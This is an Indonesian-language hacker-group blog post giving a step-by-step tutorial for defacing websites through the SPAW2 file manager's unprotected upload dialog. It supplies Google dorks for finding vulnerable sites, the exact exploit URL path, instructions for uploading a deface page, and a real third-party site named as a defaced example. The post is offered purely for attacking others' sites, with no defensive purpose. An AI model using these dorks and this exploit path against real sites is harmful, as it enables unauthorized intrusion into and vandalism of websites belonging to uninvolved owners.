DEFACE SPAW FILE MANAGER

G HAXOR TEAM

Hae bertemu lagi dengan w Anonimokerl :v kali ini w mau share deface poc spaw file manager

Sebelumnya kita siapkan dulu syarat dan bahan-bahannya

syarat :
- tamvan :v
- punya skill coli :v
- sabar :b

Bahan :
-Dork
 = inurl:Spaw2/dialogs/
 = Inurl:spaw2/uploads/files \
 = Index of:/Spaw2/uploads/files

-Exploit :
/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=

-script html
-script txt (kagak semua bisa upload html, jadi siapkan script txt)

Okey kita langsung ke langkah-langkahnya :v
Pertama kita masukan dork ke google :v

Lalu kita pilih salah satu site
Setelah itu akan muncul seperti ini

Lalu kita masukan exploitnya dibelakang site.
Contohnya :
http://site.com
Lalu tambahkan explotnya jadi.
Http://site.com/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=

Setelah itu akan muncul seperti ini

Lalu ubah yang ada dilingkaran merah menjadi file
Setelah itu cari tombol choose file dibawah, dikarenakan w pake uc browser jadi tombol choosenya berbeda :v

Setelah itu klik tombol choose file dan cari script html atau txt lu, terus tekan upload deh :v
nanti bakalan ada tulisan yang warna merah.

Terus kita panggil deh script nya :b
Caranya yaitu kita kembali ke langkah kedua :v atau kita tambahkan exploit /Spaw2/uploads/files
Contoh http://site.com/Spaw2/uploads/files

setelah itu cari file lu :v
Lalu tekan deh
Tara lu udah bisa :b

ini adalah contoh hasilnya
http://www.wholehealthamerica.com/spaw2/uploads/files/anonim.txt

W nitip nick di script kalian boleh?
Anonimokerl
G HAXOR TEAM

THANKS SEMOGA BERMANFAAT :V

Related Posts:

---